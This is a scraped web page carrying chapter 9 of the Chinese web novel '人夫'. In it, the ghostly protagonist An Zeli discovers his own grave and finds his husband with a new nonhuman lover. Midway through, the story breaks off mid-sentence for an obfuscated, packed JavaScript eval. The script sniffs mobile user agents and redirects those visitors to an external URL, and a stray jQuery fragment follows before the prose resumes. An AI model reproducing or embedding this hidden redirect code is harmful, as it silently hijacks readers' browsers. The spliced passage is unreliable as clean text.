文趣网 > 都市小说 > 人夫 > 9. 第 9 章
    安泽黎感觉自己的心脏像是被人掐住了搬,正在快速且猛烈地收紧,疼痛感从心脏中央开始蔓延,短短几秒,全身神经都被彻底麻痹,感知直接丧失。他最后的记忆,是视野里的一片黑暗。

    安泽黎再次醒来时,看到的仍旧是一片黑暗,他迷茫了几秒,以为是陶珩君将他抱到了床上,挣扎着想要起身,却发现他现在的姿态压根儿就不是躺着的,而是站立。

    他感觉到自己的身体似乎在飘动。

    这是种很奇怪的感觉,似乎全身的重量都消失了,安泽黎以为这又是一场噩梦,拧起了眉头,干脆顺着那飘动的路线,任由自己的身体快速移动起来。

    很快,视野里的黑暗慢慢被驱散,渐渐被光亮所取代,安泽黎却发现自己所处的环境竟是老宅的后花园。

    他正飘荡在庭园长得最茂盛的那颗梧桐树旁。安泽黎低头看了眼自己的身体,发现他的身体已经变成了半透明状态,这很像他在电视机里看到的那些鬼魂。

    这次的梦和鬼魂有关吗。

    安泽黎摊开手掌,看着掌心变得模糊的掌纹,有些无所适从。他静静地飘立在原地,往常在梦境中,即便他什么都不做,梦中的剧情也会在某个片刻自动推进,让他被迫完成这场梦。

    但这次,安泽黎始终都飘荡在原地,他什么都没做,身边也没出现任何特殊的、可能触发梦境剧情的东西。而且现在,时间正在流逝的感觉是如此明显,按理来说,人在梦境中对时间的感知是很迟钝的,就像存在看不见的进度条,他只是跟着进度条在走,而非时间。

    可现在,安泽黎能清楚地感知到,时间过去了许久,高悬在天边的烈阳正在缓缓转动。

    这种让人分不清虚实的感觉,驱使着安泽黎伸手掐了自己一下,也是这一下,让安泽黎陷入到更深的困惑之中。

    疼。

    他掐自己的时候能感觉到疼。

    不是梦?

    但怎么可能呢。

    如果不是梦,他怎么可能会变成鬼魂呢。

    安泽黎开始控制自己的身体向远处移动,但他没有掌控鬼魂身体的经验,即便身体会随着他的一边开始移动,却并不能自行控制方向。他几乎是在乱飘,还好此刻只有微风,只会稍微吹偏他的身体,而不是直接将他卷刮到远方。

    安泽黎笨拙地尝试着,通过实践来练习如何掌控飘动的方向,好在他的身体是半透明的,不会撞上任何东西,只会直接穿过去。

    他对后院不算很熟悉,只是在卧室里站在窗边远远地望过一眼,那一眼只让他记住了这棵梧桐树矗立在后院正中央,周遭围绕着十几层半高的灌木。

    安泽黎胡乱飘荡着,完全摸不清方向,在他不知道第几次调转方向时,才终于找对了能进入老宅的方位。

    他看着墙壁,深吸口气,闭上眼睛猛地控制身体往前一冲——

    他直接从墙壁穿过去了。

    连墙壁都挡不住他吗。

    安泽黎满心疑惑,他现在唯一能想到的,就是去找陶珩君。如果这是现实,珩君一定能帮他解决他身上的问题,就算不能解决,也能暂且安抚好他的情绪。

    客厅里空无一人,陶父陶母不见踪影,阿姨也不知到哪儿去了。

    在飘到二楼时,安泽黎穿过卧室房门,却发现卧室里也空无一人。不仅如此,属于陶珩君和他的行李也全部消失了。

    就好像这个房间里从未居住过任何人。

    被褥枕头整齐地叠在一起,上面连半条褶皱都没有,一尘不染。

    安泽黎找遍了整个卧室,却连半点儿属于他们的痕迹都没有。他再次飘出去,进入到每个房间里查看,却发现整栋房子都空无一人。他最后进入的房间,是在二楼走廊尾端的房间,那也是陶父陶母的房间。

    里面没有人,对着门的墙壁上却悬挂着和客厅一模一样的结婚照。

    不对,好像是不一样的。

    安泽黎飘过去,凑近去看,发现这张结婚照中陶父陶母的笑容稍显僵硬,漆黑的瞳孔中看不出任何欣喜、幸福的情绪,空得像被人硬塞进去的黑色玻璃珠。

    但这都不重要,安泽黎想知道的不是有关结婚照的任何信息。

    陶珩君到底去哪了?

    安泽黎渐渐控制不住情绪,现在的情况就好像所有人都离开了,走向更美好的远方,却把他这个怪物留在了空荡的房子里。

    他干脆从窗户穿过去,但陶珩君的车也不见了。

    他走了吗?

    他自己回家了吗?

    他把他扔在这儿了吗?

    恐惧的情绪让安泽黎变得有些慌乱,呼吸也紊乱起来,他要回家,他要陪在陶珩君身边。

    这就像被刻在脑子最深处的指令,安泽黎的脑袋里渐渐只剩下三个字——陶珩君。

    安泽黎的触手因情绪不受控而从身体里伸展出来,张牙舞爪地在半空中挥舞着。但触手也是半透明状态,它也触碰不到任何东西。

    安泽黎分辨不清家的方向,一个初次外出的人,他能勉强在道路上自然地行走都算不错了,更别提单靠自己辨别出几十公里外的具体地址。

    但他就像是被无数丝线牵引的木偶人,他不知道方向,脑袋里却像存在着什么寄生虫,正在操控着他,朝着某个方向飞快地飘去。

    在这段漫长的路程中,安泽黎脑袋里“陶珩君”三字不再单单是执念,而是直接变成了一声又一声绝望地叫喊。

    “陶珩君。”

    “陶珩君!”

    “陶珩君…..”

    他要找到他的丈夫、他的爱人。

    等安泽黎脑袋里的声音消失时,他已经回到了家门口。

    那个只属于他和陶珩君的家。

    他只需要穿门而入,或许就能见到陶珩君。但偏偏在这时,安泽黎就像突然恢复神智了般,他茫然地看向四周,不明白自己怎么能找回家,也不记得自己在路上到底见到了什么。

    他只记得,他一直在喊陶珩君的名字。

    “咔嚓。”

    清脆的剪刀声响起。

    安泽黎怔怔地看向声音传来的位置,却发现是隔壁的邻居,那位美丽的妻子正站在院子里的盆栽前,拿着巨大的剪刀,面带微笑地修剪着植物枝杈。

    这似乎也是在安泽黎变成这种恐怖的半透明状态后,遇到的第一个人。

    安泽黎慌乱地收回触手,强撑出个还算不错的笑容,将手抬到与脑袋平齐的高度,模仿着先前陶珩君教他的那种打招呼的方式,一字一顿地对着女人说:“您今天过得好吗?”

    往常,女人听见他说这句话,会弯起眼睛,笑吟吟地对他点头,说:“很好呢,你们呢。”

    但这次,女人像什么都没听见一般,依旧重复着修剪盆栽的动作,连个眼神都没给他。

    安泽黎愣了愣,他原本以为是距离太远、自己声音太小,他小心翼翼地走近,却发现那人真的压根儿就看不见他。

    他一遍遍地拉近距离,当两人之间的距离已经缩短到他的左胳膊被剪刀一遍遍地“剪断”时,女人仍旧毫无反应。

    安泽黎怔怔地站在那儿,他不知道自己站了多久,他只是想认清事实。可就在他认清事实的五分钟内,他发现,女人修剪盆栽的手法不算多复杂,完全是机械性地重复着同一动作,只有脚下在缓慢地移动。

    她就像个…..机器?

    安泽黎了解的东西太少,甚至连形容都找不到合适的比对对象。

    他缓慢地眨了眨眼睛,准备放弃打招呼,想回到家先看看陶珩君是否在家,但他刚转动身子,视线随意一扫,却看见了个他从未见过的东西。

    深灰色的棱角瞬间就让安泽黎意识到那是什么。而且那东西似乎就在他家后院。

    那是墓碑。

    安泽黎踏出门的次数太少,更是连自己家后院都没去过,他家房子的面积没有老宅那么大,即便站在卧室窗户前,也只能看见后院的一小个荒芜的角落。

    房间窗户的位置比较偏。

    如果安泽黎没走到现在这个位置,他或许永远都不会发现那个墓碑。

    安泽黎呆愣愣地向后院飘去,在他看清墓碑全貌的一刻,安泽黎彻底失去全身力气。

    因为墓碑上刻着三个字——

    安泽黎。

    他的名字。

    那是他的墓碑?

    安泽黎连眼睛都忘了眨,他直勾勾地看着墓碑,墓碑前方放着盛放的鲜花,似乎是有人刚刚祭奠过。

    所以…..他已经死了?

    他之所以变成现在这副模样,是因为他死了?

    安泽黎想起,他失去意识前听见陶珩君说了句“他中暑了”,所以他的死因是中暑?

    中暑是可以致人死亡的,安泽黎在电视上看过相关的新闻,前几年接连两个月的高温,最高温度直逼四十几度,那年的新闻报道过不少猝死惨剧。

    安泽黎浑身一软,直接跪了下去。可他连膝盖磕到地面上的感觉都没有。

    安泽黎脑袋里空白一片,待他终于能接受自己已经死去的现实时,脑袋里瞬间冒出个念头,如果他死了,陶珩君该怎么。

    陶珩君曾经说过的,如果没有他,他的人生将变得无比灰败,他大概率无法接受那样的人生,会选择自我解脱。

    所以,他在老宅中没看到任何人,会不会是因为陶珩君接受不了他的死亡,悲伤过度后寻了短见。如果那样的话,陶珩君寻死成功,陶父陶母会离开老宅,死守在陶珩君的墓前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764553|209657||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    痛哭;陶珩君寻死失败,陶父陶母会在医院死守着他,避免惨剧再次发生。

    所以,陶珩君到底怎么样了。

    他的爱人是不是已经走向了最极端的结局。

    安泽黎痛苦地抱住脑袋。

    他为什么偏要出门呢。

    乖乖地待在家里,当一辈子不会飞的宠物鸟不是很好吗。

    他已经有一位非常好的爱人了,他还想奢求什么呢。

    他为什么偏偏要贪心,偏偏要出去呢。

    安泽黎跪在原地良久,才咬紧牙关,重新站起身。他看了眼后院,后院杂草丛生,除了他的墓碑外,什么东西都没有。

    安泽黎擦了把眼泪,还是决定飘回家,万一陶珩君没有想不开,万一他此刻只是躺在家里休息呢。

    但就在他满心忧虑地穿过墙壁,飘进家里时,却发现家里漆黑一片,所有灯都关着。他先飘向卧室,空无一人。

    安泽黎惴惴不安,选择再看看楼下。但就在他忐忑地生怕看见什么自己不愿接受的事情时,却骤然发现了一簇微弱的光亮。

    他悬着的心似乎稍微落了些。

    安泽黎强撑起精神,继续向光亮的方向飘起,然后,他就看见了——

    那簇光亮来自电视机。

    电视机屏幕正在亮着,有限的光亮笔直地向前投射,散发着森白光芒。而电视机对面的沙发,那个安泽黎最熟悉的位置上,正坐着他的爱人。

    陶珩君正坐在沙发上看电视。

    但和安泽黎预想中不同,陶珩君脸上没有任何悲伤痛苦,他嘴角勾着恰到好处的弧度,彰显着愉悦的心情,可他的愉悦并非由电视内容勾起的。

    陶珩君侧着脸,视线正随意地落在身旁那人身上。

    安泽黎看得清清楚楚,一个陌生容貌的男人替代了他的位置,依偎在陶珩君的怀里。因过度兴奋而不断摆动的尾巴足以说明这个男人的身份也并非人类。

    陶珩君的笑意,也只是因为那个怪物用尾巴轻轻地勾弄着陶珩君的小腿。那种调.情的手段,安泽黎也曾用过,只不过他没有尾巴,只能用触手勾住对方。

    但现在呢。

    他记得清清楚楚的幸福时刻,却成了另一个怪物随便就能复制粘贴的存在。

    安泽黎死死地盯着沙发上那两人,但他们亲密无间,眼中只有彼此,和邻居妻子一般,压根儿就无法察觉到他的存在。

    安泽黎飘过去,不敢相信眼前人是陶珩君,他徒劳地伸出手,想要触碰他的丈夫。他的腿伸直被那个怪物的尾巴无意间挥散扭曲。

    这个人怎么可能是他的丈夫呢。

    陶珩君明明说过只爱他一个。

    陶珩君不会撒谎的。

    不会的。

    绝对不会的。

    这个人只是和陶珩君长得一样、行为习惯一样罢了,那个怪物在复制他曾经的行为,那么眼前这个“陶珩君”是否也只是在复制他的爱人。

    安泽黎犹如无头苍蝇,他痛苦地看向四周,希望能出现一个人击碎这场令他无比绝望的噩梦。陶珩君绝对不会在他离世后不久便爱上另一个人的。

    可他什么都找不到,其余地方都是黑暗的,他什么都看不清,他唯一能看清的还在不断刺痛他。

    安泽黎慌不择路,直接扭头,想要逃离开这令他窒息的地方。

    可他刚刚转过身,就听见身后传来道熟悉的声音,那声音正在用他熟悉的声音说着熟悉的誓言。

    “放心吧亲爱的,我绝对会爱你一辈子的。”

    “我那么爱你,我的人生里要是没有你,我真不知道我还有什么活下去的必要。”

    “别再说那些话了,这会让我伤心的。”

    “……..”

    安泽黎的整个身体都在颤抖。

    他彻底挪动不了了。

    那种心脏正在被人猛攥的滋味再次出现了。

    安泽黎不断地深呼吸,但每次空气涌进鼻腔,他先感觉到的是干涩的疼痛。

    不知过了多久,安泽黎才下定决心要离开,但也是在这时,他骤然发现——

    他没法出去了。

    每当他尝试穿墙而出时,整个身体便会快速扭曲,被莫名的力量拉回原地。

    安泽黎深吸口气,缓缓转身,他原本是想再看一眼陶珩君,便另寻出路。但就是这么一转身,安泽黎骤然发现,黑暗中好像有什么东西。

    不对……

    是很多东西。

    猩红色的光芒在黑暗中一个个亮起,安泽黎僵硬着身子,发现那些光芒并非丛某处射出的特殊灯光,而是——

    无数双猩红色的眼睛。

    这些眼睛都在注视着陶珩君。

    死死地,紧盯着。